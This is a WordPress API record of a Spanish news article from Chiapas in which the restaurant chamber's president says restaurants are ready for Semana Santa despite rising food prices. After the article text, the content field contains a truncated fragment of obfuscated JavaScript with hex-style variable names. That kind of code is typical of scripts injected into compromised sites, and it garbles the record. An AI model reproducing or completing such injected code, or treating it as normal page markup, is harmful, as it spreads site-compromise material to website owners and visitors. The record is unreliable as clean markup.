{"id":9130,"date":"2023-03-24T02:54:15","date_gmt":"2023-03-24T02:54:15","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=9130"},"modified":"2023-03-24T02:54:15","modified_gmt":"2023-03-24T02:54:15","slug":"se-alistan-restauranteros-y-diferentes-sectores-para-recibir-el-turismo-en-chiapas","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=9130","title":{"rendered":"Se alistan restauranteros y diferentes sectores para recibir el turismo en Chiapas"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"719\" height=\"1024\" src=\"https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2023\/03\/FB_IMG_1679626416891-719x1024.jpg\" alt=\"\" class=\"wp-image-9131\" srcset=\"https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2023\/03\/FB_IMG_1679626416891-719x1024.jpg 719w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2023\/03\/FB_IMG_1679626416891-211x300.jpg 211w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2023\/03\/FB_IMG_1679626416891.jpg 720w\" sizes=\"auto, (max-width: 719px) 100vw, 719px\" \/><\/figure>\n\n\n\n<p>Rodolfo Flores. Agencia ReporteCiudadano, 23 de marzo del 2023. Tuxtla Guti\u00e9rrez.- Guillermo Acero Bustamante, presidente de la C\u00e1mara Nacional de la Industria Restaurantera y Alimentos Condimentados (CANIRAC), dio a conocer que, este sector est\u00e1 preparado para cubrir la demanda durante la Semana Santa. Precis\u00f3 que, se tiene la mejor expectativa respecto a ventas y afluencia de comensales, pues sigue, afortunadamente, la tendencia al alza.Dijo que, el tema de la inflaci\u00f3n les ha pegado duro, pues existen dos productos que han incrementado su costo considerablemente.&#8221;Estamos hablando que, el huevo, las frutas y la verdura han incrementado un diez por ciento eso hace que la utilidad baje para nosotros, y sea m\u00e1s complicado mantener el punto de equilibrio&#8221;, indic\u00f3.Sin embargo, los restauranteros ponen sus esperanzas en las estimaciones que ha realizado el Banco de M\u00e9xico, en la que se exponen que, la inflaci\u00f3n mostrar\u00e1 una tendencia a la baja despu\u00e9s del primer trimestre del a\u00f1o.&#8221;Eso es lo que nosotros esperamos que ocurra, porque lo cr\u00edtico de esta inflaci\u00f3n es que la subyacente est\u00e1 por arriba de la inflaci\u00f3n general, eso hace por supuesto que la recuperaci\u00f3n sea m\u00e1s lenta&#8221;, indic\u00f3.Sin embargo, dijo que, existe mayor liquidez en el mercado en este momento, por ello se espera que en esta Semana Santa 2023, se de una recuperaci\u00f3n en los sectores relacionados con el turismo.Por ello, los restaurantes han tenido que implementar algunas estrategias como la sustituci\u00f3n de algunos productos para aminorar los costos de los platillos y de esta manera no incrementar el costo a la carta.Esto tiene la intenci\u00f3n de no repercutir la afluencia de comensales a los restaurantes.&#8221;Sabemos que, en estos momentos la poblaci\u00f3n quiere salir, quiere convivir con la familia, es un tema an\u00edmico y emocional por ello estamos listos para atenderlos&#8221;, agreg\u00f3 Destac\u00f3 que, los restaurantes mantienen las medidas sanitarias para evitar riesgos, pues la pandemia no se ha terminado del todo.<\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"<p>Rodolfo Flores. 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